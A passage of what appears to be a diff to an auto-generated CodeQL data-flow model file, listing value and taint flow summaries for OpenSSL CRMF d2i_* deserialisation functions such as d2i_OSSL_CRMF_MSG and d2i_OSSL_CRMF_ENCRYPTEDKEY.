**,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID_IDENTIFIER", "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDKEY", "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCRYPTEDVALUE", "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSG", "(OSSL_CRMF_MSG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_MSGS", "(OSSL_CRMF_MSGS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_OPTIONALVALIDITY", 